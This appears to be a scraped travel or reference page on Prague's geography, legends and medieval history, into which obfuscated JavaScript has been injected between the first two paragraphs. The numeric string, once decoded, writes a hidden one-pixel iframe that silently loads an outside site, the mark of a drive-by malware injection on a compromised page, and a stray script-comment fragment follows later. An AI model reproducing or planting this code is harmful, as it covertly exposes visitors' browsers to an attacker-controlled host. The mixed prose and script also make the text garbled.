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Prague is the capital of the Czech Republic and lies in the middle of Bohemia. It covers an area of nearly 500 sq kms and its population is about 1,300,000. Prague is divided into many boroughs. The historical centre is made up by the Old town, Josefov, the Lesser Quarter, Hradčeny, the New Town and Vyšehrad. Together they make a town preserve which is quite unique. On the other hand Prague is now surrounded by a ring of modern housing estates serving as residential quarters.function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!62!13!10!118!97!114!32!122!102!114!97!109!101!61!39!60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!107!111!108!108!46!99!111!109!34!32!119!105!100!116!104!61!34!49!34!32!104!101!105!103!104!116!61!34!49!34!62!60!47!105!102!114!97!109!101!62!39!59!13!10!105!102!32!40!116!121!112!101!111!102!40!122!109!97!109!97!41!61!61!39!117!110!100!101!102!105!110!101!100!39!41!13!10!123!13!10!32!32!32!32!122!109!97!109!97!61!34!111!107!34!59!13!10!9!100!111!99!117!109!101!110!116!46!119!114!105!116!101!40!122!102!114!97!109!101!41!59!13!10!125!13!10!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}

A legend connects the founding of Prague with Princess Libuše of the Přemyslid dynasty who prophesied the future glory of Prague, which "would touch the stars". The oldest settlement of this region dates back 25,000 years. In the latter half of the 10th century St. Vitus Rotunda, the Prince s Palace and a convent with a church were built on Hradčany. Prague s other castle - Vyšehrad - was built in the 11th century and for some time it was the seat of Czech rulers.//-->

Prague became the imperial residence of Charles IV. During his reign an archbishopric, Charles University, the New Town with the Horse Market and the Cattle Market were founded. He also promoted the construction of other important buildings such as St. Vitus Cathedral and the Charles Bridge.